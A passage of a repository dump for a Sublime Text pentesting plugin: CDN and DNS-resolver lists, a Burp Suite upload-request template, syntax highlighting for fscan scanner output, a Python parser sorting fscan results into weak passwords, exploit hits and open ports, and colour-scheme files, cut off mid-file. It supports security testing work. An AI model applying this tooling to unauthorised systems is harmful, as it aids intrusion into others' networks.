.kunluncan.com
.kunlun.com
.kunlunea.com
.kunlungem.com
.kunlungr.com
.kunlunhuf.com
.kunlunle.com
.kunlunli.com
.kunlunno.com
.kunlunpi.com
.kunlunra.com
.kunlunsa.com
.kunlunsc.com
.kunlunsl.com
.kunlunso.com
.kunlunta.com
.kunlunvi.com
.kunlunwe.com
.kxcdn.com
.l.doubleclick.net
.letvcdn.com
.lldns.net
.llnwd.
.llnwd.net
.lswcdn.net
.lxdns.com
.lxdns.net
.lxsvc.cn
.lxsvc.net
.mirror-image.net
.mncdn.com
.mschcdn.com
.mwcloudcdn.com
.myalicdn.com
.myxns.cn
.myxns.com.cn
.myxns.net.cn
.myxns.org
.netcenter.com.cn
.netdna.
.netdna-cdn.com
.netdna.com
.netdna-ssl.com
.newdefend.cn
.newdefend.com
.newdefend.com.cn
.newdefend.net
.newdefend.net.cn
.newdefend.org
.newdefend.org.cn
.ngenix.
.okglb.com
.ourglb0.com
.ourwebat.com
.ourwebcdn.com
.ourwebcdn.net
.ourwebpic.com
.panthercdn.com
.pilidns.com
.qbox.me
.qihucdn.com
.qingcdn.com
.qiniudn.com
.qiniudns.com
.rncdn1.com
.shifen.com
.simplecdn.net
.spcdntip.com
.spdydns.com
.speedcdns.com
.speedupchina.com
.speedupchina.net
.stackpathdns.com
.swiftcdn1.com
.swiftserve.com
.sz-dns.net
.tbcache.com
.tc.cdntip.com
.tcdn.qq.com
.tcloudscdn.com
.tdnsv8.com
.telefonica.
.tlgslb.com
.trpcdn.net
.txcdn.cn
.txnetworks.cn
.ucloud.cn
.unicache.com
.verycdn.net
.verygslb.com
.vo.llnwd.net
.vo.msecnd.net
.wangsu.com
.webluker.com
.wscdns.com
.wscloudcdn.com
.wsdvs.com
.wsglb0.com
.wsngb.com
.xgslb.net
.yunjiasu-cdn.net
.zenedge.net
.dns.com
'''.strip('\n').split('\n')
filter_hosts = '''
223.5.5.5
223.6.6.6
114.114.114.114
114.114.115.115
180.76.76.76
119.29.29.29
182.254.116.116
8.8.8.8
8.8.4.4
9.9.9.9
9.9.9.10
149.112.112.112
4.2.2.1
4.2.2.2
4.2.2.3
4.2.2.4
4.2.2.5
4.2.2.6
1.1.1.1
1.0.0.1
1.0.0.2
1.0.0.3
1.0.0.19
208.67.222.222
208.67.220.220
8.26.56.26
8.20.247.20
84.200.69.80
84.200.70.40
185.228.168.9
185.228.169.9
64.6.64.6
64.6.65.6
198.101.242.72
23.253.163.53
176.103.130.130
176.103.130.131
'''.strip('\n').split('\n')
top_sufix = 'cc|aero|arpa|asia|biz|cat|com|coop|edu|gov|int|info|jobs|mil|mobi|museum|name|net|org|pro|tel|trave|xxx|digital|run'
#cn_sufix = 'ac.cn|ah.cn|bj.cn|com.cn|cq.cn|fj.cn|gd.cn|gov.cn|gs.cn|gx.cn|gz.cn|ha.cn|hb.cn|he.cn|hi.cn|hk.cn|hl.cn|hn.cn|jl.cn|js.cn|jx.cn|ln.cn|mo.cn|net.cn|nm.cn|nx.cn|org.cn|edu.cn|'
# .ac|.ad|.ae|.af|.ag|.ai|.al|.am|.an|.ao|.aq|.ar|.as|.at|.au|.aw|.az|.ba|.bb|.bd|.be|.bf|.bg|.bh|.bi|.bj|.bm|.bn|.bo|.br|.bs|.bt|.bv|.bw|.by|.bz|.ca|.cc|.cd|.cf|.cg|.ch|.ci|.ck|.cl|.cm|.cn|.co|.cr|.cu|.cv|.cx|.cy|.cz|.de|.dj|.dk|.dm|.do|.dz|.ec|.ee|.eg|.eh|.er|.es|.et|.eu|.fi|.fj|.fk|.fm|.fo|.fr|.ga|.gd|.ge|.gf|.gg|.gh|.gi|.gl|.gm|.gn|.gp|.gq|.gr|.gs|.gt|.gu|.gw|.gy|.hk|.hm|.hn|.hr|.ht|.hu|.id|.ie|.il|.im|.in|.io|.iq|.ir|.is|.it|.je|.jm|.jo|.jp|.ke|.kg|.kh|.ki|.km|.kn|.kp|.kr|.kw|.ky|.kz|.la|.lb|.lc|.li|.lk|.lr|.ls|.lt|.lu|.lv|.ly|.ma|.mc|.md|.me|.mg|.mh|.mk|.ml|.mm|.mn|.mo|.mp|.mq|.mr|.ms|.mt|.mu|.mv|.mw|.mx|.my|.mz|.na|.nc|.ne|.nf|.ng|.ni|.nl|.no|.np|.nr|.nu|.nz|.om|.pa|.pe|.pf|.pg|.ph|.pk|.pl|.pm|.pn|.pr|.ps|.pt|.pw|.py|.qa|.re|.ro|.ru|.rw|.sa|.sb|.sc|.sd|.se|.sg|.sh|.si|.sj|.sk|.sl|.sm|.sn|.so|.sr|.st|.sv|.sy|.sz|.tc|.td|.tf|.tg|.th|.tj|.tk|.tl|.tm|.tn|.to|.tp|.tr|.tt|.tv|.tw|.tz|.ua|.ug|.uk|.um|.us|.uy|.uz|.va|.vc|.ve|.vg|.vi|.vn|.vu|.wf|.ws|.ye|.yr|.yt|.yu|.za|.zm|.zw
country_sufix = 'ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|de|dj|dk|dm|do|dz|ec|ee|eg|eh|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|me|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yr|yt|yu|za|zm|zw'
file_upload_package = '''
### File upload format data
### Copy and paste on burpsuite
```
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzKD4Hm0eKYto9ERE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 277
------WebKitFormBoundaryzKD4Hm0eKYto9ERE
Content-Disposition: form-data; name="x"
------WebKitFormBoundaryzKD4Hm0eKYto9ERE
Content-Disposition: form-data; name="filename"; filename="x.png"
Content-Type: image/png
test
------WebKitFormBoundaryzKD4Hm0eKYto9ERE--
```
'''
================================================
FILE: lib/Xtools-Text.sublime-syntax
================================================
%YAML 1.2
---
# http://www.sublimetext.com/docs/syntax.html
name: Xtools Text
file_extensions:
- txt
scope: source.python
contexts:
main:
#- match: \b(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)((([\-](1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])|/(1\d|2\d|3[0-2]|[1-9]))(\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d))?)?)\b
# scope: keyword.control.python
#- match: \b(https?://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|])\b
# scope: keyword.control
- meta_scope: meta.group
- meta_content_scope: meta.content
- match: (\[)
scope: punctuation.begin
embed: embed
escape: (\])
escape_captures:
0: punctuation.end
# fscan
- match: (?i)(SSH|RDP|SMB|SMB2-shares):.+
scope: xtools.red
- match: (?i)(Mysql|Oracle|Mssql|Mongodb|Postgres):.+
scope: xtools.blue
- match: (?i)(redis|Mongodb|ftp|Memcached):.+
scope: xtools.peach
embed:
- match: (200|206)$
scope: xtools.green
- match: (301|302|305|307)$
scope: xtools.mauve
- match: (400|401|402|403|404|406|416)$
scope: xtools.red
- match: (500|501|502|503)$
scope: xtools.peach
- match: (http|tcp|file|ssl)$
scope: xtools.pink
- match: (info$)
scope: xtools.blue
- match: (?i)(low)
scope: xtools.green
- match: (?i)(medium)
scope: xtools.peach
- match: (?i)(high|critical)
scope: xtools.red
- match: (?i)(nginx|apache|tomcat|phpinfo|php|phpmyadmin|java|node|Tengine|Spring|HSTS|\ |,)
scope: xtools.red
# title keyword
- match: (?i)(login|Swagger\ UI|Admin|{"swagger"|druid|{"openapi")
scope: xtools.red
- match: (?i)(admin|root):.+
scope: xtools.peach
- match: (?i)(Finger:\ Null)
scope: xtools.comment
- match: (?i)(Finger:.+)
scope: xtools.red
- match: ([\d])+$
scope: xtools.blue
- match: .*(400|401|402|403|404|406|416|500|501|502|503).*
scope: xtools.peach
- match: .+[\w\d\s\u4e00-\u9fa5\-].+
scope: xtools.sky
================================================
FILE: lib/format_tools_result.py
================================================
# -*- coding=utf-8 -*-
import re
header = '''
+--------+--------+---------+-----------+--------------+------------+
| Code | Url | Len | Title | Redirect | Finger |
+--------+--------+---------+-----------+--------------+------------+\n
'''.lstrip()
def select_ip_port(text:str) -> str:
ip_port_list = re.findall(
r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d+)\ open', text
)
if ip_port_list == []:
return 'ip:port 结果为空'
ip_port_list = [('{ip}:{port} open'.format(ip=line[0],port=line[1])) for line in ip_port_list]
return '\n'.join(ip_port_list)
def select_web_poc(text:str) ->str:
web_poc_list = re.findall(r'(http.*?) (poc-.*)', text)
if web_poc_list == []:
return 'POC 检测漏洞结果为空'
web_poc_list = [('{url} {poc}').format(url=line[0],poc=line[1]) for line in web_poc_list]
return '[+] ' + '\n[+] '.join(web_poc_list)
def select_web_info(text:str) ->str:
web_list = re.findall(
r'WebTitle:?\s*(http.*?)\s+code:(\d+)\s+len:(.*?)\s+title:(.*?)\n', text+'\n'
)
if web_list == []:
return 'Web Code|Title 等信息为空'
finger_list = re.findall(r'InfoScan:?\s*(http.*?)\s+\[(.*?)]', text)
webinfo = []
for line in web_list:
finger = 'Null'
for x in finger_list:
if line[0] == x[0]:
finger = x[1]
break
webinfo.append(
'[{code}] {url} [{length}] [{title}] [Finger: {finger}]'.format(
url=line[0],code=line[1],length=line[2],title=line[3],finger=finger)
)
webinfo = '\n'.join(sorted(webinfo)).replace(' 跳转url: ','] [Redirect-> ')
return header + webinfo
def select_ip_exp(text:str) -> str:
ip_exp_list = re.findall(
r'\[\+]\s*(.*)\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s+(.*)', text
)
if ip_exp_list == []:
return 'Exp 检测漏洞结果为空'
ip_exp_list = [(' '.join(line)).strip() for line in ip_exp_list]
ip_exp_list = [
line for line in ip_exp_list if (
line.startswith('http') == False and line.startswith('InfoScan') == False
)
]
return '[+] ' + '\n[+] '.join(ip_exp_list)
def select_weak_password(text:str) -> str:
weak_password_list = re.findall(
r'\[\+\]\s*((ftp|Mysql|Mssql|SMB|RDP|Postgres|SSH|Oracle|SMB2-shares|redis|Mongodb|Memcached)(:|\s).+)\n', text, re.I
)
if weak_password_list == []:
return '弱口令检查结果为空'
weak_password_list = sorted([line[0] for line in weak_password_list])
weak_password, server = '',''
for line in weak_password_list:
if server == line.split(':',1)[0]:
weak_password += '[+] {}\n'.format(line)
else:
weak_password += '\n[+] {}\n'.format(line)
server = line.split(':',1)[0]
return weak_password
def select_os_info(text:str) -> str:
# OS | NetBios | NetInfo
osinfo = ''
os_list = re.findall(r"\[\*]\s*(\d+\.\d+\.\d+\.\d+..+)", text)
for line in os_list:
osinfo += '[*] {}\n'.format(line)
# NetBios:\s*(.*?)\s+(.*?\S)\s+(.*)
netbios_list = re.findall(r'(NetBios:?\s*\d+\.\d+\.\d+\.\d+..+)', text)
for line in netbios_list:
osinfo += '[*] {}\n'.format(line)
netinfo_list = re.findall(r'(NetInfo:?\n\[\*]\s*\d+\.\d+\.\d+\.\d+\s*\n(\s*\[\->].+\n)*)', text)
netinfo_list = [line[0] for line in netinfo_list]
for line in netinfo_list:
osinfo += '[*] {}\n'.format(line.replace(' ',''))
if osinfo == '':
return '主机信息探测结果为空'
return osinfo.rstrip('\n[*] ')
def classify_fscan_result(text:str) -> dict:
ip_ports, web_poc, web_info, ip_exp, weak_password, os_info = (
select_ip_port(text),
select_web_poc(text),
select_web_info(text),
select_ip_exp(text),
select_weak_password(text),
select_os_info(text)
)
results = {
'ip-port.txt': ip_ports,
'web-poc.txt': web_poc,
'web-info.txt': web_info,
'ip-exp.txt': ip_exp,
'weak-password.txt': weak_password,
'os-info.txt': os_info
}
return results
# Reference
# https://blog.csdn.net/aaaaa_ascii/article/details/131956793
def format_dirsx_result(text:str) -> str:
texts, results = text.split('\n'), []
for text in texts:
try:
assert text.startswith('[RET]')
_, code, end = text.split(' ', 2)
except:
continue
results.append('{code} {end}'.format(code=code, end=end))
if results == []:
return '[waring-dirsx] The result format is not supported! Please read the docs'
return '\n'.join(sorted(results))
================================================
FILE: themes/Breakers.sublime-color-scheme
================================================
// Documentation at https://www.sublimetext.com/docs/color_schemes.html
{
"variables":
{
},
"globals":
{
},
"rules":
[
{
"name": "Xtools Red",
"scope": "xtools.red",
"foreground": "var(red)"
},
{
"name": "Xtools Blue",
"scope": "xtools.blue",
"foreground": "var(blue)"
},
{
"name": "Xtools Peach",
"scope": "xtools.peach",
"foreground": "var(orange)"
},
{
"name": "Xtools Mauve",
"scope": "xtools.mauve",
"foreground": "var(pink)"
},
{
"name": "Xtools Green",
"scope": "xtools.green",
"foreground": "var(green)"
},
{
"name": "Xtools Sky",
"scope": "xtools.sky",
"foreground": "var(blue2)"
},
{
"name": "Xtools Comment",
"scope": "xtools.comment",
"foreground": "var(grey2)"
},
]
}
================================================
FILE: themes/Catppuccin Macchiato.sublime-color-scheme
================================================
{
"name": "Catppuccin",
"author": "Catppuccin Org",
"variables": {
"rosewater": "#f4dbd6",
"flamingo": "#f0c6c6",
"pink": "#f5bde6",
"mauve": "#c6a0f6",
"red": "#ed8796",
"maroon": "#ee99a0",
"peach": "#f5a97f",
"yellow": "#eed49f",
"green": "#a6da95",
"teal": "#8bd5ca",
"sky": "#91d7e3",
"sapphire": "#7dc4e4",
"blue": "#8aadf4",
"lavender": "#b7bdf8",
"text": "#cad3f5",
"subtext1": "#b8c0e0",
"subtext0": "#a5adcb",
"overlay2": "#939ab7",
"overlay1": "#8087a2",
"overlay0": "#6e738d",
"surface2": "#5b6078",
"surface1": "#494d64",
"surface0": "#363a4f",
"base": "#24273a",
"mantle": "#1e2030",
"crust": "#181926"
},
"globals": {
"foreground": "var(text)",
"background": "var(base)",
"caret": "var(subtext1)",
"invisibles": "color(var(overlay2) alpha(0.4))",
"gutter_foreground": "var(overlay2)",
"gutter_foreground_highlight": "var(green)",
"line_highlight": "color(var(text) alpha(0.07))",
"selection": "color(var(overlay1) alpha(0.4))",
"selection_border": "var(base)",
"active_guide": "color(var(peach) alpha(0.5))",
"find_highlight_foreground": "var(mantle)",
"find_highlight": "var(yellow)",
"brackets_options": "underline",
"brackets_foreground": "color(var(overlay2) alpha(0.5))",
"bracket_contents_options": "underline",
"bracket_contents_foreground": "color(var(overlay2) alpha(0.5))",
"tags_options": "stippled_underline"
},
"rules": [
{
"scope": "meta.semantic-token",
"background": "#00000101"
},
{
"name": "Comment",
"scope": "comment",
"foreground": "var(overlay1)",
"font_style": ""
},
{
"name": "String",
"scope": "string",
"foreground": "var(green)",
"font_style": ""
},
{
"name": "String regex",
"scope": "string.regexp",
"foreground": "var(peach)",
"font_style": ""
},
{
"name": "Number",
"scope": "constant.numeric",
"foreground": "var(peach)",
"font_style": ""
},
{
"name": "Boolean",
"scope": "constant.language.boolean",
"foreground": "var(peach)",
"font_style": ""
},
{
"name": "Built-in constant",
"scope": "constant.language",
"foreground": "var(lavender)",
"font_style": ""
},
{
"name": "Built-in function",
"scope": "support.function.builtin",
"foreground": "var(peach)",
"font_style": ""
},
{
"name": "User-defined constant",
"scope": "variable.other.constant",
"foreground": "var(peach)",
"font_style": ""
},
{
"name": "Symbol",
"scope": "constant.other.symbol",
"foreground": "var(yellow)"
},
{
"name": "Variable",
"scope": "variable"
},
{
"name": "Keyword",
"scope": "keyword",
"foreground": "var(red)",
"font_style": ""
},
{
"name": "Conditional/loop",
"scope": "keyword.control.loop, keyword.control.conditional, keyword.control.c++",
"foreground": "var(mauve)",
"font_style": ""
},
{
"name": "Return",
"scope": "keyword.control.return, keyword.control.flow.return",
"foreground": "var(pink)",
"font_style": ""
},
{
"name": "Exception",
"scope": "support.type.exception",
"foreground": "var(peach)",
"font_style": ""
},
{
"name": "Operator",
"scope": "keyword.operator, punctuation.accessor",
"foreground": "var(sky)",
"font_style": "bold"
},
{
"name": "Punctuation separator",
"scope": "punctuation.separator",
"foreground": "var(teal)",
"font_style": ""
},
{
"name": "Punctuation terminator",
"scope": "punctuation.terminator",
"foreground": "var(teal)",
"font_style": ""
},
{
"name": "Punctuation bracket",
"scope": "punctuation.section",
"foreground": "var(overlay2)",
"font_style": ""
},
{
"name": "Include",
"scope": "keyword.control.import.include",
"foreground": "var(teal)",
"font_style": ""
},
{
"name": "Storage",
"scope": "storage",
"foreground": "var(red)",
"font_style": ""
},
{
"name": "Storage type",
"scope": "storage.type",
"foreground": "var(yellow)",
"font_style": ""
},
{
"name": "Storage modifier",
"scope": "storage.modifier",
"foreground": "var(red)",
"font_style": ""
},
{
"name": "Storage type namespace",
"scope": "entity.name.namespace, meta.path",
"foreground": "var(rosewater)",
"font_style": ""
},
{
"name": "Storage type class",
"scope": "storage.type.class",
"foreground": "var(rosewater)",
"font_style": ""
},
{
"name": "Label",
"scope": "entity.name.label",
"foreground": "var(blue)",
"font_style": ""
},
{
"name": "Keyword class",
"scope": "keyword.declaration.class",
"foreground": "var(red)",
"font_style": ""
},
{
"name": "Class name",
"scope": "entity.name.class, meta.toc-list.full-identifier",
"foreground": "var(sky)",
"font_style": ""
},
{
"name": "Inherited class",
"scope": "entity.other.inherited-class",
"foreground": "var(sky)",
"font_style": ""
},
{
"name": "Function name",
"scope": "entity.name.function, variable.function",
"foreground": "var(blue)",
"font_style": ""
},
{
"name": "Function macro",
"scope": "entity.name.function.preprocessor",
"foreground": "var(red)",
"font_style": ""
},
{
"name": "Macro directive - ifdef",
"scope": "keyword.control.import",
"foreground": "var(red)",
"font_style": ""
},
{
"name": "Constructor",
"scope": "entity.name.function.constructor, entity.name.function.destructor",
"foreground": "var(lavender)",
"font_style": ""
},
{
"name": "Function argument",
"scope": "variable.parameter.function",
"foreground": "var(rosewater)",
"font_style": ""
},
{
"name": "Function declaration",
"scope": "keyword.declaration.function",
"foreground": "var(mauve)",
"font_style": ""
},
{
"name": "Library function",
"scope": "support.function",
"foreground": "var(sky)",
"font_style": ""
},
{
"name": "Library constant",
"scope": "support.constant",
"foreground": "var(blue)",
"font_style": ""
},
{
"name": "Library class/type",
"scope": "support.type, support.class",
"foreground": "var(blue)",
"font_style": ""
},
{
"name": "Library variable",
"scope": "support.other.variable",
"font_style": ""
},
{
"name": "Unquoted keys",
"scope": "meta.mapping.key string.unquoted",
"foreground": "var(text)"
},
{
"name": "Variable function",
"scope": "variable.function",
"foreground": "var(blue)",
"font_style": ""
},
{
"name": "Variable parameter",
"scope": "variable.parameter",
"foreground": "var(rosewater)",
"font_style": ""
},
{
"name": "Variable other",
"scope": "variable.other",
"foreground": "var(text)",
"font_style": ""
},
{
"name": "Variable field",
"scope": "variable.other.member",
"foreground": "var(rosewater)",
"font_style": ""
},
{
"name": "Variable language",
"scope": "variable.language",
"foreground": "var(teal)",
"font_style": ""
},
{
"name": "Tag name",
"scope": "entity.name.tag",
"foreground": "var(peach)",
"font_style": ""
},
{
"name": "Tag attribute",
"scope": "entity.other.attribute-name",
"foreground": "var(mauve)",
"font_style": ""
},
{
"name": "Tag delimiter",
"scope": "punctuation.definition.tag",
"foreground": "var(maroon)",
"font_style": ""
},
{
"name": "Markdown URL",
"scope": "markup.underline.link.markdown",
"foreground": "var(rosewater)",
"font_style": " underline"
},
{
"name": "Markdown reference",
"scope": "meta.link.inline.description",
"foreground": "var(lavender )",
"font_style": "bold"
},
{
"name": "Markdown literal",
"scope": "comment.block.markdown, meta.code-fence, markup.raw.code-fence, markup.raw.inline",
"foreground": "var(teal)",
"font_style": ""
},
{
"name": "Markdown title",
"scope": "punctuation.definition.heading, entity.name.section",
"foreground": "var(blue)",
"font_style": "bold"
},
{
"name": "Markdown emphasis",
"scope": "markup.",
"foreground": "var(maroon)",
"font_style": ""
},
{
"name": "Markdown strong",
"scope": "markup.bold",
"foreground": "var(maroon)",
"font_style": "bold"
},
{
"name": "Escape",
"scope": "constant.character.escape",
"foreground": "var(pink)",
"font_style": ""
},
{
"name": "Bash built-in function",
"scope": "source.shell.bash meta.function.shell meta.compound.shell meta.function-call.identifier.shell",
"foreground": "var(pink)",
"font_style": ""
},
{
"name": "Bash parameter",
"scope": "variable.language.shell",
"foreground": "var(red)",
"font_style": ""
},
{
"name": "Lua field",
"scope": "source.lua meta.function.lua meta.block.lua meta.mapping.value.lua meta.mapping.key.lua string.unquoted.key.lua",
"foreground": "var(lavender)",
"font_style": ""
},
{
"name": "Lua constructor",
"scope": "source.lua meta.function.lua meta.block.lua meta.mapping.key.lua string.unquoted.key.lua",
"foreground": "var(flamingo)",
"font_style": ""
},
{
"name": "Java constant",
"scope": "entity.name.constant.java",
"foreground": "var(teal)",
"font_style": ""
},
{
"name": "CSS property",
"scope": "support.type.property-name.css",
"foreground": "var(flamingo)",
"font_style": ""
},
{
"name": "CSS constant",
"scope": "support.constant.property-value.css",
"foreground": "var(text)",
"font_style": ""
},
{
"name": "CSS suffix",
"scope": "constant.numeric.suffix.css, keyword.other.unit.css",
"foreground": "var(teal)",
"font_style": ""
},
{
"name": "CSS variable property",
"scope": "variable.other.custom-property.name.css, support.type.custom-property.name.css, punctuation.definition.custom-property.css",
"foreground": "var(teal)",
"font_style": ""
},
{
"name": "SCSS tag",
"scope": "entity.name.tag.css",
"foreground": "var(lavender)",
"font_style": ""
},
{
"name": "SASS variable",
"scope": "variable.other.sass",
"foreground": "var(teal)",
"font_style": ""
},
{
"name": "Rust macro",
"scope": "support.macro.rust",
"foreground": "var(sky)",
"font_style": ""
},
{
"name": "Invalid",
"scope": "invalid",
"foreground": "var(text)",
"background": "var(red)",
"font_style": ""
},
{
"name": "Invalid deprecated",
"scope": "invalid.deprecated",
"foreground": "var(text)",
"background": "var(mauve)",
"font_style": ""
},
{
"name": "Diff header",
"scope": "meta.diff, meta.diff.header",
"foreground": "var(overlay1)",
"font_style": ""
},
{
"name": "Diff deleted",
"scope": "markup.deleted",
"foreground": "var(red)",
"font_style": ""
},
{
"name": "Diff inserted",
"scope": "markup.inserted",
"foreground": "var(green)",
"font_style": ""
},
{
"name": "Diff changed",
"scope": "markup.changed",
"foreground": "var(yellow)",
"font_style": ""
},
{
"name": "Message error",
"scope": "message.error",
"foreground": "var(red)",
"font_style": ""
},
{
"name": "JSON keys",
"scope": "source.json meta.mapping.key string",
"foreground": "var(blue)"
},
{
"name": "JSON key surrounding quotes",
"scope": "source.json meta.mapping.key punctuation.definition.string.begin, source.json meta.mapping.key punctuation.definition.string.end",
"foreground": "var(overlay2)"
},
{
"name": "YAML unquoted keys",
"scope": "source.yaml meta.mapping.key string.unquoted",
"foreground": "var(blue)"
},
{
"name": "Xtools Red",
"scope": "xtools.red",
"foreground": "var(red)"
},
{
"name": "Xtools Blue",
"scope": "xtools.blue",
"foreground": "var(blue)"
},
{
"name": "Xtools Peach",
"scope": "xtools.peach",
"foreground": "var(peach)"
},
{
"name": "Xtools Mauve",
"scope": "xtools.mauve",
"foreground": "var(mauve)"
},
{
"name": "Xtools Green",
"scope": "xtools.green",
"foreground": "var(green)"
},
{
"name": "Xtools Sky",
"scope": "xtools.sky",
"foreground": "var(sky)"
},
{
"name": "Xtools Comment",
"scope": "xtools.comment",
"foreground": "var(overlay1)"
},
]
}
================================================
FILE: themes/Catppuccin Mocha.sublime-color-scheme
================================================
{
"name": "Catppuccin",
"author": "Catppuccin Org",
"variables": {
"rosewater": "#f5e0dc",
"flamingo": "#f2cdcd",
"pink": "#f5c2e7",
"mauve": "#cba6f7",
"red": "#f38ba8",
"maroon": "#eba0ac",
"peach": "#fab387",
"yellow": "#f9e2af",
"green": "#a6e3a1",
"teal": "#94e2d5",
"sky": "#89dceb",
"sapphire": "#74c7ec",
"blue": "#89b4fa",
"lavender": "#b4befe",
"text": "#cdd6f4",
"subtext1": "#bac2de",
"subtext0": "#a6adc8",
"overlay2": "#9399b2",
"overlay1": "#7f849c",
"overlay0": "#6c7086",
"surface2": "#585b70",
"surface1": "#45475a",
"surface0": "#313244",
"base": "#1e1e2e",
"mantle": "#181825",
"crust": "#11111b"
},
"globals": {
"foreground": "var(text)",
"background": "var(base)",
"caret": "var(subtext1)",
"invisibles": "color(var(overlay2) alpha(0.4))",
"gutter_foreground": "var(overlay2)",
"gutter_foreground_highlight": "var(green)",
"line_highlight": "color(var(text) alpha(0.07))",
"selection": "color(var(overlay1) alpha(0.4))",
"selection_border": "var(base)",
"active_guide": "color(var(peach) alpha(0.5))",
"find_highlight_foreground": "var(mantle)",
"find_highlight": "var(yellow)",
"brackets_options": "underline",
"brackets_foreground": "color(var(overlay2) alpha(0.5))",
"bracket_contents_options": "underline",
"bracket_contents_foreground": "color(var(overlay2) alpha(0.5))",
"tags_options": "stippled_underline"
},
"rules": [
{
"scope": "meta.semantic-token",
"background": "#00000101"
},
{
"name": "Comment",
"scope": "comment",
"foreground": "var(overlay1)",
"font_style": ""
},
{
"name": "String",
"scope": "string",
"foreground": "var(green)",
"font_style": ""
},
{
"name": "String regex",
"scope": "string.regexp",
"foreground": "var(peach)",
"font_style": ""
},
{
"name": "Number",
"scope": "constant.numeric",
"foreground": "var(peach)",
"font_style": ""
},
{
"name": "Boolean",
"scope": "constant.language.boolean",
"foreground": "var(peach)",
"font_style": ""
},
{
"name": "Built-in constant",
"scope": "constant.language",
"foreground": "var(lavender)",
"font_style": ""
},
{
"name": "Built-in function",
"scope": "support.function.builtin",
"foreground": "var(peach)",
"font_style": ""
},
{
"name": "User-defined constant",
"scope": "variable.other.constant",
"foreground": "var(peach)",
"font_style": ""
},
{
"name": "Symbol",
"scope": "constant.other.symbol",
"foreground": "var(yellow)"
},
{
"name": "Variable",
"scope": "variable"
},
{
"name": "Keyword",
"scope": "keyword",
"foreground": "var(red)",
"font_style": ""
},
{
"name": "Conditional/loop",
"scope": "keyword.control.loop, keyword.control.conditional, keyword.control.c++",
"foreground": "var(mauve)",
"font_style": ""
},
{
"name": "Return",
"scope": "keyword.control.return, keyword.control.flow.return",
"foreground": "var(pink)",
"font_style": ""
},
{
"name": "Exception",
"scope": "support.type.exception",
"foreground": "var(peach)",
"font_style": ""
},
{
"name": "Operator",
"scope": "keyword.operator, punctuation.accessor",
"foreground": "var(sky)",
"font_style": "bold"
},
{
"name": "Punctuation separator",
"scope": "punctuation.separator",
"foreground": "var(teal)",
"font_style": ""
},
{
"name": "Punctuation terminator",
"scope": "punctuation.terminator",
"foreground": "var(teal)",
"font_style": ""
},
{
"name": "Punctuation bracket",
"scope": "punctuation.section",
"foreground": "var(overlay2)",
"font_style": ""
},
{
"name": "Include",
"scope": "keyword.control.import.include",
"foreground": "var(teal)",
"font_style": ""
},
{
"name": "Storage",
"scope": "storage",
"foreground": "var(red)",
"font_style": ""
},
{
"name": "Storage type",
"scope": "storage.type",
"foreground": "var(yellow)",
"font_style": ""
},
{
"name": "Storage modifier",
"scope": "storage.modifier",
"foreground": "var(red)",
"font_style": ""
},
{
"name": "Storage type namespace",
"scope": "entity.name.namespace, meta.path",
"foreground": "var(rosewater)",
"font_style": ""
},
{
"name": "Storage type class",
"scope": "storage.type.class",
"foreground": "var(rosewater)",
"font_style": ""
},
{
"name": "Label",
"scope": "entity.name.label",
"foreground": "var(blue)",
"font_style": ""
},
{
"name": "Keyword class",
"scope": "keyword.declaration.class",
"foreground": "var(red)",
"font_style": ""
},
{
"name": "Class name",
"scope": "entity.name.class, meta.toc-list.full-identifier",
"foreground": "var(sky)",
"font_style": ""
},
{
"name": "Inherited class",
"scope": "entity.other.inherited-class",
"foreground": "var(sky)",
"font_style": ""
},
{
"name": "Function name",
"scope": "entity.name.function, variable.function",
"foreground": "var(blue)",
"font_style": ""
},
{
"name": "Function macro",
"scope": "entity.name.function.preprocessor",
"foreground": "var(red)",
"font_style": ""
},
{
"name": "Macro directive - ifdef",
"scope": "keyword.control.import",
"foreground": "var(red)",
"font_style": ""
},
{
"name": "Constructor",
"scope": "entity.name.function.constructor, entity.name.function.destructor",
"foreground": "var(lavender)",
"font_style": ""
},
{
"name": "Function argument",
"scope": "variable.parameter.function",
"foreground": "var(rosewater)",
"font_style": ""
},
{
"name": "Function declaration",
"scope": "keyword.declaration.function",
"foreground": "var(mauve)",
